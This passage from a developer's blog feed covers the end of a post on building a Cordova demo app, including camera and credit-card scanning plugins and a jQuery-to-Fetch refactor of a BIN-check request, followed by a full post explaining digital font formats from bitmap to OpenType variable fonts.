&lt;p&gt;As someone who was using Cordova for the first time, I didn&apos;t realise how much heavy lifting was already handled by the &lt;a href=&quot;https://cordova.apache.org/plugins/&quot;&gt;plugin ecosystem&lt;/a&gt; until I dug into the part of the code that used the &lt;a href=&quot;https://github.com/cordova-plugin-camera-preview/cordova-plugin-camera-preview&quot;&gt;Cordova Plugin Camera Preview&lt;/a&gt; and the &lt;a href=&quot;https://github.com/card-io/card.io-Cordova-Plugin&quot;&gt;card.io plug-in for Cordova&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The documentation for these two plugins was pretty good and it didn&apos;t take too much for me to figure out how to get things working. Part of the demo involved snapping a picture of the user as part of the registration process. Camera Preview&apos;s &lt;code&gt;takePicture&lt;/code&gt; function provides the option to set width, height and quality and returns the image data as a base64 encoded jpeg image which you can then process as you wish.&lt;/p&gt;
&lt;p&gt;Displaying the image involved adding a handful of CSS styles to make sure things aligned up nicely, specifically &lt;code&gt;object-fit&lt;/code&gt;. This property is slowly climbing up my list of favourite CSS properties.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.selfie-image {
  width: 400px;
  height: 400px;
  object-fit: cover;
  object-position: center;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another fun part of the app was the bit where you could snap a photo of your government-issued identification card and the app could extract relevant details like the card number and country of issuance. To make life easier for ourselves, we only “accepted” cards from Malaysia and Singapore.&lt;/p&gt;
&lt;p&gt;For this, we used the &lt;a href=&quot;https://cloud.google.com/vision/&quot;&gt;Google Vision API&lt;/a&gt; for text extraction, and it&apos;s actually pretty good. I suppose the cards themselves are clearly printed and standard format, so maybe it wasn&apos;t all that hard for Google to extract the text. Based on the processed image, we could display the extracted text in the UI, instead of having users manually type it in.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/card-io&quot;&gt;card.io&lt;/a&gt; is made by the folks at PayPal and provides easy credit card scanning in mobile apps. Our demo also had a credit card scanning component. The library comes with a set of functions that return relevant fields from the credit card scan so you can use them how you want. And if the scan fails for some reason, there is always the option for manual entry via the device keyboard.&lt;/p&gt;
&lt;p&gt;One thing I learned from this exercise is that the first six digits of a credit card identifies the card&apos;s brand, financial institution that issued it, as well as country of issue. Basic credit card number validation is dependent on the &lt;a href=&quot;https://planetcalc.com/2464/&quot;&gt;Luhn algorithm&lt;/a&gt;, which is a simple checksum formula that considers the number sequence valid if the checksum mod 10 equals to zero.&lt;/p&gt;
&lt;p&gt;Good to know if you need to generate credit card numbers for testing. Like how I did.&lt;/p&gt;
&lt;h2&gt;Removing jQuery is cathartic&lt;/h2&gt;
&lt;p&gt;Once I had my workflow set up, I could write ES6 syntax without worrying too much about browser support. To be safe, I did include polyfills for &lt;a href=&quot;https://github.com/taylorhakes/promise-polyfill&quot;&gt;Promises&lt;/a&gt; and &lt;a href=&quot;https://github.com/github/fetch&quot;&gt;Fetch&lt;/a&gt;. All the jQuery from the original implementation was rewritten in ES6, and streamlined where possible (let&apos;s just say there were some functions that weren&apos;t necessary, just some).&lt;/p&gt;
&lt;p&gt;It was a good way for me to familiarise myself with the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API&quot;&gt;Fetch API&lt;/a&gt; as I had to convert all the &lt;code&gt;$.ajax()&lt;/code&gt; &lt;code&gt;POST&lt;/code&gt; requests to use Fetch instead. Mostly issues with &lt;code&gt;cors&lt;/code&gt; but it wasn&apos;t that hard to google up the right settings.&lt;/p&gt;
&lt;p&gt;For example, the &lt;code&gt;POST&lt;/code&gt; request to check the card number against our &lt;a href=&quot;http://binbase.net/&quot;&gt;BIN database&lt;/a&gt; used to look something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var url = encodeURI(
  &amp;quot;http://SOME_SERVER_ADDRESS.com/bank/app?binbase=&amp;quot; +
    binbase +
    &amp;quot;&amp;amp;lastfour=&amp;quot; +
    lastfour +
    &amp;quot;&amp;amp;id=&amp;quot; +
    id +
    &amp;quot;&amp;amp;amount=&amp;quot; +
    amount
);

var settings = {
  async: true,
  crossDomain: true,
  url: url,
  method: &amp;quot;POST&amp;quot;,
  dataType: &amp;quot;json&amp;quot;,
  headers: {
    &amp;quot;cache-control&amp;quot;: &amp;quot;no-cache&amp;quot;,
  },
  complete: function () {
    window.location.href = &amp;quot;sms_verification.html&amp;quot;;
  },
};

$.ajax(settings).done(function (response) {
  // console.log(response)
  if (response.status == &amp;quot;ok&amp;quot;) {
    console.log(&amp;quot;success&amp;quot;);
  } else if (response.status == &amp;quot;fail&amp;quot;) {
    console.log(&amp;quot;fail&amp;quot;);
  } else {
    console.log(&amp;quot;error&amp;quot;);
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The refactored version looked something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const url = encodeURI(
  uiServerUrl +
    &amp;quot;/bank/app?binbase=&amp;quot; +
    binCheck +
    &amp;quot;&amp;amp;lastfour=&amp;quot; +
    lastfour +
    &amp;quot;&amp;amp;id=&amp;quot; +
    userId +
    &amp;quot;&amp;amp;amount=&amp;quot; +
    verificationAmount
);
fetch(url, {
  method: &amp;quot;POST&amp;quot;,
  mode: &amp;quot;cors&amp;quot;,
  headers: new Headers({
    &amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;,
  }),
})
  .then(checkStatus)
  .then(function (response) {
    return response.json();
  })
  .then(function (data) {
    console.log(&amp;quot;Bin check status: &amp;quot; + data.status);
    window.location.href = &amp;quot;verification.html&amp;quot;;
  })
  .catch(function (error) {
    console.log(&amp;quot;request failed&amp;quot;, error);
  });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Is my method better? I really can&apos;t say for sure, because both implementations achieved the same result, but I&apos;m really more fond of using Fetch, you know?&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This was just an overview of my first-time experience with Cordova and I think it&apos;s a pretty useful framework for demonstrating proof-of-concept, especially when you don&apos;t have any native developers on hand. Would I use this for a full-fledged native app? At this point, I&apos;d say probably not, but what do I know?&lt;/p&gt;
&lt;p&gt;There&apos;s another part to this demo that I&apos;m pretty happy with but it has nothing to do with Cordova, so that&apos;ll show up in another post. That part involves theme switching with Sass maps, and fun times all around. Stay tuned, my friends.&lt;/p&gt;
</content:encoded></item><item><title>Making sense of digital fonts</title><link>https://chenhuijing.com/blog/making-sense-of-digital-fonts/</link><guid isPermaLink="true">https://chenhuijing.com/blog/making-sense-of-digital-fonts/</guid><description>My interest in language, writing systems and typography has led me to spend hours down a rabbit hole in search of answers to the plethora of “how/why did this…</description><pubDate>Sun, 11 Feb 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;My interest in language, writing systems and typography has led me to spend hours down a rabbit hole in search of answers to the plethora of “how/why did this come about?” questions that pop into my head at random. I may have an ”easily distracted” issue, but we&apos;re not talking about that today &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;As I was polishing up my talk for &lt;a href=&quot;https://yougottalovefrontend.com/&quot;&gt;You Gotta Love Frontend&lt;/a&gt; last year, I started digging into digital font formats. At the time, I was trying to come up with an easy-to-explain definition for fonts. And I came across some good ones, which often make the contrast between fonts and typefaces, from &lt;a href=&quot;https://web.archive.org/web/20171105215131/http://fontfeed.com/archives/font-or-typeface/&quot;&gt;this article&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/baldcondensed&quot;&gt;Yves Peters&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;...the physical embodiment of a collection of letters, numbers, symbols, etc. (whether it’s a case of metal pieces or a computer file) is a &lt;strong&gt;font&lt;/strong&gt;.&lt;br&gt;
—&lt;a href=&quot;https://twitter.com/marksimonson&quot;&gt;Mark Simonson&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;font&lt;/strong&gt; is what you use, and &lt;strong&gt;typeface&lt;/strong&gt; is what you see.&lt;br&gt;
-&lt;a href=&quot;https://web.archive.org/web/20131010180405/http://www.typophile.com/node/13593&quot;&gt;Norbert Florendo&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;But after figuring out what fonts actually were, I wanted to know how digital fonts worked. I did eventually finish my talk, just that I got slightly sidetracked along the way. This is going to be another “brain dump” post. You have been warned.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TLDR&lt;/strong&gt;: &lt;em&gt;digital font formats are simply another type of data format, which store information about the font based on each format&apos;s respective specifications.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Increasing layers of abstraction&lt;/h2&gt;
&lt;p&gt;In my mind, digital is transient, it is an encoding and manipulation of electronic signals. And as digital technology continues to progress (at a breakneck speed, might I add), we see less and less of the actual physical manifestations of it.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Look at this glorious Colossus Mark 2 computer being operated by Wrens Dorothy Du Boisson (left) and Elsie Booker (right).&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/digital-fonts/colossus-480.jpg 480w, /images/posts/digital-fonts/colossus-640.jpg 640w, /images/posts/digital-fonts/colossus-960.jpg 960w, /images/posts/digital-fonts/colossus-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/digital-fonts/colossus-640.jpg&quot; alt=&quot;Colossus Mark 2&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;As someone who is generally curious about how things work under the hood, and why things came to be a certain way, I found books like &lt;a href=&quot;http://www.worldcat.org/title/dream-machine-jcr-licklider-and-the-revolution-that-made-computing-personal/oclc/607060367&amp;amp;referer=brief_results&quot;&gt;The Dream Machine&lt;/a&gt;, &lt;a href=&quot;http://www.worldcat.org/title/where-wizards-stay-up-late-the-origins-of-the-internet/oclc/34633443&quot;&gt;Where Wizards Stay Up Late&lt;/a&gt; and &lt;a href=&quot;http://www.worldcat.org/title/when-computers-were-human/oclc/1014865831&amp;amp;referer=brief_results&quot;&gt;When Computers Were Human&lt;/a&gt; as well as podcasts like the &lt;a href=&quot;http://www.internethistorypodcast.com/&quot;&gt;Internet History Podcast&lt;/a&gt;, particularly interesting.&lt;/p&gt;
&lt;p&gt;It wasn&apos;t that long ago when computers surrounded human beings (like the Colossus or the ENIAC) and the rate of computation, though fast, was still somewhat visible to the human eye.&lt;/p&gt;
&lt;p&gt;In a couple of decades, processor sizes have shrunk exponentially, while their speeds have increased exponentially. It&apos;s gotten to a point whereby if you showed someone from the 19th century your smart phone, they might think it&apos;s magic (or call you a witch, I don&apos;t know, times were different).&lt;/p&gt;
&lt;p&gt;And I don&apos;t think I&apos;m wrong to say that about most of us these days either. Maybe we don&apos;t think it&apos;s magic per se, but most people don&apos;t know how their computers even work (and probably don&apos;t care as long as it does).&lt;/p&gt;
&lt;h2&gt;Analogue fonts&lt;/h2&gt;
&lt;p&gt;Before digital, when we talked about fonts, we were usually referring to metal typesetting, where fonts were the complete set of metal types that were used to typeset entire pages of text. Those were in use for hundreds of years until today, for use in letterpress printing.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Typesetting by Ri Xing foundry&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/digital-fonts/types.jpg&quot; srcset=&quot;/images/posts/digital-fonts/types@2x.jpg 2x&quot; alt=&quot;Typesetting by Ri Xing foundry&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Composing stick loaded with types&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/digital-fonts/types2.jpg&quot; srcset=&quot;/images/posts/digital-fonts/types2@2x.jpg 2x&quot; alt=&quot;Composing stick loaded with types&quot; /&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;We also have fonts that look like this:&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Bodoni Bold for Linofilm V-I-P&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/digital-fonts/bodoni.jpg&quot; srcset=&quot;/images/posts/digital-fonts/bodoni@2x.jpg 2x&quot; alt=&quot;Bodoni Bold 12pt for the Linofilm V-I-P&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Ben Franklin Bold for Linofilm V-I-P&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/digital-fonts/benfranklin.jpg&quot; srcset=&quot;/images/posts/digital-fonts/benfranklin@2x.jpg 2x&quot; alt=&quot;Ben Franklin Bold for the Linofilm V-I-P&quot; /&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;And these were used in phototypesetting. They served as a bridge between analogue and digital, because the fonts were, in a way, physical objects, but working with those fonts required a digital display.&lt;/p&gt;
&lt;p&gt;So the question is, how did we get from fonts that we could hold in our hands, to fonts that only existed as bits and bytes?&lt;/p&gt;
&lt;h2&gt;A bit about bits and bytes&lt;/h2&gt;
&lt;p&gt;Computers are so ubiquitous today that you don&apos;t have to be an engineer or a computer scientist to use one. There was a time when computers were a niche domain, of interest only to enthusiasts and hobbyists who possessed the technical knowledge to operate them. Fast forward to today, many computer users may not know what goes on underneath the hood of their machines.&lt;/p&gt;
&lt;p&gt;With GUIs becoming more prevalent and polished, it is totally possible to go about all tasks without knowing what a file system is or where data is stored. But let&apos;s examine the concept of digital data for a little bit. I thought the &lt;a href=&quot;https://www.youtube.com/playlist?list=PL8dPuuaLjXtNlUrzyH5r6jN9ulIgZBpdo&quot;&gt;Crash Course Computer Science series&lt;/a&gt; did a really good job explaining a lot of basic computing concepts, and I&apos;ll be referencing information from that video series.&lt;/p&gt;
&lt;p&gt;If you think about it, what is a file, exactly, in digital terms? It helps to go back to a time when there were less layers of abstraction between the hardware and the user interfaces.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;The Harvard Mark I by IBM&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/digital-fonts/mark1-480.jpg 480w, /images/posts/digital-fonts/mark1-640.jpg 640w, /images/posts/digital-fonts/mark1-960.jpg 960w, /images/posts/digital-fonts/mark1-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/digital-fonts/mark1-640.jpg&quot; alt=&quot;Harvard Mark I&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The Harvard Mark I was built by IBM for the Allies during World War II and it was made up of 765,000 components, 3,000,000 connections and 800 kilometres of wire. A 15-metre shaft driven by a 5 horsepower motor was used to keep its internal mechanics in sync. All computations were essentially controlled by mechanical switches, toggling between on and off states.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Very early experimental point contact transistors by IBM (image credit: American Computer Museum)&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/digital-fonts/point-contact.jpg&quot; srcset=&quot;/images/posts/digital-fonts/point-contact@2x.jpg 2x&quot; alt=&quot;Earliest point contact transistors&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;On and off. 1s and 0s. Bits and bytes. This is why binary is so important when it comes to electronics and computers. Computers run on billions of electronic switches which store binary numbers when electric currents toggle them to either on or off states. Every single data format out there is stored and processed by a computer in the form of binary digits. Digital, get it? (&lt;em&gt;My brain replies, yes, got it.&lt;/em&gt;)&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;AMD Zeppelin with 4,800,000,000 transistors&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/digital-fonts/amd-zen-480.png 480w, /images/posts/digital-fonts/amd-zen-640.png 640w, /images/posts/digital-fonts/amd-zen-960.jpg 960w, /images/posts/digital-fonts/amd-zen-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/digital-fonts/amd-zen-640.png&quot; alt=&quot;AMD Zeppelin (Octa-Core Die)&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;File formats are a standard method of encoding information for storage. They usually come with detailed specifications that describe exactly how bits are used to encode information in an electronic medium. These specifications may be freely available (open-source) or proprietary, as sometimes they are considered trade secrets.&lt;/p&gt;
&lt;p&gt;Encoding data is one thing, but rendering them on a graphical display is another animal altogether. The development of hardware like graphical terminals and printing devices went hand-in-hand with software advancements like rasterisation algorithms and page description languages.&lt;/p&gt;
&lt;p&gt;If you really think about it, anything seen on a screen has everything to do with the field of computer graphics. And digital typography is really a cross-disciplinary field involving technical engineering, aesthetic design and mathematical precision.&lt;/p&gt;
&lt;h2&gt;Understanding font formats&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;http://perso.telecom-bretagne.eu/yannisharalambous/&quot;&gt;Yannis Haralambous&lt;/a&gt; wrote a very comprehensive book called &lt;a href=&quot;http://www.worldcat.org/title/fonts-encodings/oclc/150365997&quot;&gt;Fonts &amp;amp; encodings&lt;/a&gt;, which was a great help in my understanding of digital fonts. The basic gist of digital font formats was explained as follows:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A font is a container for glyphs. To set a sequence of glyphs, the software calls up a font through the operating system and asks for the glyphs that it needs. The way in which the glyphs are described depends on the font format: PostScript, TrueType, or any of a number of others, all of them quite different.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This then begs the question of what a glyph is. Luckily, the book includes these definitions as well:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A glyph is the image of a symbol used in a writing system (in an alphabet, a syllabary, a set of ideographs, etc.) or in a notational system (like music, mathematics, cartography, etc.).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;A character is the simple description, primarily linguistic or logical, of an equivalence class of glyphs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The issue of characters and glyphs is not as straight-forward as most people think, and this may seem more apparent you if you have an understanding of Asian languages. If this topic is of interest to you, I recommend reading &lt;a href=&quot;https://www.researchgate.net/publication/228985177_Surface_or_Essence_Beyond_the_Coded_Character_Set_Model&quot;&gt;Surface or Essence: Beyond the Coded
Character Set Model&lt;/a&gt; by &lt;a href=&quot;https://hanazono.academia.edu/ShigekiMoro&quot;&gt;Shigeki Moro&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Font formats differ in the manner the glyphs for each character or symbol are stored in their respective font-resource files. A font incorporates character patterns and spacing information, and the contents of character patterns depend on the envisaged representation. (Kohen, 1989).&lt;/p&gt;
&lt;h3&gt;Bitmap fonts&lt;/h3&gt;
&lt;p&gt;Bitmaps are made up of &lt;a href=&quot;http://paulbourke.net/dataformats/bitmaps/&quot;&gt;a regular rectangular mesh of cells called pixels, with each pixel containing a colour value&lt;/a&gt;. Pertinent information for bitmaps are the number of pixels and their colour depth per pixel. Bitmap formats are simply &lt;strong&gt;a list of bitmap information&lt;/strong&gt;, byte by byte, row by row. Such a method results in large file sizes, hence compression is of utmost importance.&lt;/p&gt;
&lt;p&gt;The earliest fonts were bitmap fonts, or raster fonts, which stored each glyph as an array of pixels. Think of them as collections of raster images of glyphs. These glyphs are described by black or white pixels. This worked fine for low resolution screens at the time, where each glyph would contain around a hundred pixels or so.&lt;/p&gt;
&lt;p&gt;But for high resolution printing, such an approach would result in a single glyph requiring thousands of pixels to render clearly. You can imagine the resulting file sizes. Also, every new font size would call for a new set of character patterns, making them relatively inflexible. The limitations of bitmap fonts triggered the development of outline fonts.&lt;/p&gt;
&lt;h3&gt;Outline fonts&lt;/h3&gt;
&lt;p&gt;Outline fonts, or vector fonts, are collections of vector images, which describe glyphs as sets of lines and curves. The advantage of storing font information in such a manner is that they can be scaled without compromising resolution.&lt;/p&gt;
&lt;p&gt;However, doing so required considerable more processing power as compared to bitmap fonts, and depending on the rendering engine used and output size required, your mileage could vary when it came to the end result. But the biggest issue with outline fonts was the fact that most screens rendering them were raster displays.&lt;/p&gt;
&lt;h4&gt;PostScript fonts&lt;/h4&gt;
&lt;p&gt;John Warnock, founder of Adobe, developed &lt;a href=&quot;https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/PLRM.pdf&quot;&gt;PostScript&lt;/a&gt;, which is a programming language for describing the entire printed page using mathematical constructs. This language encompassed a font format which remains widely used today: &lt;em&gt;Type 1 fonts&lt;/em&gt;, whereby glyphs are described with mathematical constructs via the PostScript language.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www-cdf.fnal.gov/offline/PostScript/T1_SPEC.PDF&quot;&gt;The specification&lt;/a&gt; explains the ins and outs of Type 1 fonts in 111 pages, so read it only if you&apos;re interested, I guess &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;. Type 1 fonts are expressed as computer programs, written in the PostScript language.&lt;/p&gt;
&lt;p&gt;The program is &lt;strong&gt;an organised collection of procedures describing character shapes&lt;/strong&gt;, and it consists of a clear text (ASCII) portion, and an encoded and encrypted portion. In contrast to &lt;em&gt;Type 3 fonts&lt;/em&gt;, Type 1 fonts allow for hinting to make their representation as exact as possible of various devices and pixel densities.&lt;/p&gt;
&lt;p&gt;I&apos;d like to take the opportunity to shout out the &lt;a href=&quot;https://www.hanzithemovie.com/&quot;&gt;Hanzi documentary&lt;/a&gt;, which is an excellent production centred around type design, visual culture and identity with regards to the Chinese writing system.&lt;/p&gt;
&lt;p&gt;I also learned that LiSong (儷宋) was the first Chinese PostScript font in the world, and the current LiSong Pro (儷宋 Pro) is based off that original first generation, created in 1989 by Sammy Or (&lt;a href=&quot;https://web.archive.org/web/20180211093711/https://www.bnext.com.tw/article/36509/BN-2015-06-12-133122-36&quot;&gt;柯熾堅&lt;/a&gt;老師).&lt;/p&gt;
&lt;h4&gt;Truetype fonts&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;TrueType&lt;/em&gt; was Apple and Microsoft&apos;s response to Adobe&apos;s font monopoly in the 1980s, and became the most common format for Macintosh and Windows operating systems. TrueType is not ostensibly better nor worse than Type 1 fonts, just different.&lt;/p&gt;
&lt;p&gt;A TrueType font file is made up of &lt;strong&gt;a sequence of concatenated tables&lt;/strong&gt;. The first of these tables is known as the font directory, which provides all the information needed to access the data in the other tables. A table name can have up to 4 letters.&lt;/p&gt;
&lt;p&gt;If you refer to the &lt;a href=&quot;https://developer.apple.com/fonts/TrueType-Reference-Manual/&quot;&gt;TrueType™ Reference Manual&lt;/a&gt;, you can see the entire list of font tables, but 9 of those are required tables, namely &lt;code&gt;cmap&lt;/code&gt;. &lt;code&gt;glyf&lt;/code&gt;, &lt;code&gt;head&lt;/code&gt;, &lt;code&gt;hhea&lt;/code&gt;, &lt;code&gt;hmtx&lt;/code&gt;, &lt;code&gt;loca&lt;/code&gt;, &lt;code&gt;maxp&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;post&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;TrueType led to the development of several other formats. &lt;strike&gt;, including &lt;em&gt;Multiple Master&lt;/em&gt; fonts, which allowed modifications to the shapes of the glyphs under the user&apos;s control, a predecessor to the variable fonts we hear about so often these days.&lt;/strike&gt; Apple had worked on an extension to TrueType, which eventually became &lt;em&gt;Apple Advanced Typography&lt;/em&gt; (AAT).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: &lt;a href=&quot;https://twitter.com/typenerd1&quot;&gt;David Lemon&lt;/a&gt; pointed out that Multiple Master was an extension to Type 1 NOT TrueType. The section on variable fonts below has been updated accordingly.&lt;/em&gt;&lt;/p&gt;
&lt;h4&gt;Opentype fonts&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;Update: &lt;a href=&quot;https://twitter.com/TiroTypeworks/status/963089470110154753&quot;&gt;Tiro Typeworks&lt;/a&gt; pointed out that it was Adobe who approached Microsoft and joined in to work on OpenType. Microsoft had already created &lt;a href=&quot;https://www.microsoft.com/en-us/Typography/SpecificationsOverview.aspx&quot;&gt;TrueType Open&lt;/a&gt; in 1994, and Adobe joined in these efforts in 1996, adding support for the glyph outline technology they employed in their own Type 1 fonts.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Adobe &lt;strike&gt;Microsoft&lt;/strike&gt; eventually turned to former competitor, Microsoft &lt;strike&gt;Adobe&lt;/strike&gt;, and together they came up with &lt;em&gt;OpenType&lt;/em&gt; as a response to AAT. Sort of reminds me of playground alliances back in kindergarten, just saying &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;. Anyway, OpenType is an extension to TrueType as well, with support for PostScript font data.&lt;/p&gt;
&lt;p&gt;Again, the OpenType file format contains &lt;strong&gt;data in a table format&lt;/strong&gt;. OpenType fonts can include the OpenType Layout tables, which allow font makers more options when it comes to designing international fonts or high-end fonts with typographic features. These tables contain information on glyph substitution, glyph positioning, justification, and baseline positioning, enabling text-processing applications to improve text layout.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@tiro/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369&quot;&gt;Variable fonts&lt;/a&gt; are something which is gaining considerable visibility these days, and some might view it as a successor to the Multiple Master font format. Multiple Master was an extension of Type 1 introduced in 1991, which allowed modifications to the shapes of the glyphs under the user&apos;s control.&lt;/p&gt;
&lt;p&gt;Variable fonts were an addition to the OpenType specification in version 1.8, and introduced the &lt;code&gt;fvar&lt;/code&gt; or font variations table, that describes the axes of variation used by that font. In addition to this table, there is also a &lt;code&gt;STAT&lt;/code&gt; or style attributes table that describes additional details about each axis of variation and their values.&lt;/p&gt;
&lt;p&gt;The new variation tables introduced are: axis variations (&lt;code&gt;avar&lt;/code&gt;), CVT (control value table) variations (&lt;code&gt;cvar&lt;/code&gt;), font variations (&lt;code&gt;fvar&lt;/code&gt;), glyph variations (&lt;code&gt;gvar&lt;/code&gt;), horizontal metrics variations (&lt;code&gt;HVAR&lt;/code&gt;), metrics variations (&lt;code&gt;MVAR&lt;/code&gt;), vertical metrics variations (&lt;code&gt;VVAR&lt;/code&gt;). For all the information, here&apos;s a link to the &lt;a href=&quot;https://www.microsoft.com/en-us/Typography/OpenTypeSpecification.aspx&quot;&gt;OpenType specification&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This was such a rabbit hole, and I think I barely scratched the surface of all the font formats that are out there, only touching on those I have worked with before. But at least now I have some sort of a mental model of how font information is stored among the different types of fonts, which was the point of this entire exercise to begin with.&lt;/p&gt;
&lt;p&gt;But this research has spurred my interest into the development and digitisation of Chinese fonts, so maybe there will be a follow up post to this. Stay tuned, my friends &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;nerd face&quot;&gt;🤓&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.worldcat.org/title/digital-formats-for-typefaces/oclc/256540917&amp;amp;referer=brief_results&quot;&gt;Digital Formats for Typefaces&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.worldcat.org/title/raster-imaging-and-digital-typography-proceedings-of-the-international-conference/oclc/972530025&amp;amp;referer=brief_results&quot;&gt;Raster imaging and digital typography: Proceedings of the international conference&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.worldcat.org/title/fonts-et-encodings-translation-of-fontes-et-codages-title-from-title-screen-from-unicode-to-advanced-typography-and-everything-in-between-cover-covers-postscript-truetype-opentype-aat-metafont-and-more-cover/oclc/873851541&amp;amp;referer=brief_results&quot;&gt;Fonts &amp;amp; encoding&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://typography.guru/journal/should-the-terms-font-and-typeface-be-used-interchangeably-r58/&quot;&gt;Should the terms font and typeface be used interchangeably? &lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://paulbourke.net/dataformats/bitmaps/&quot;&gt;A Beginners Guide to Bitmaps&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://web.archive.org/web/20090201063221/http://www.microsoft.com/typography/tools/trtalr.aspx&quot;&gt;The raster tragedy at low resolution&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://rastertragedy.com/&quot;&gt;The Raster Tragedy at Low-Resolution Revisited&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://blog.typekit.com/2010/12/08/type-rendering-font-outlines-and-file-formats/&quot;&gt;Type rendering: font outlines and file formats&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.historyofinformation.com/expanded.php?id=1213#stq=&amp;amp;stp=0&quot;&gt;Origins &amp;amp; Early Development of PostScript and Scalable Digital Type Fonts at Xerox PARC and Adobe Systems (1975 – 1989)&lt;/a&gt;&lt;/li&gt;
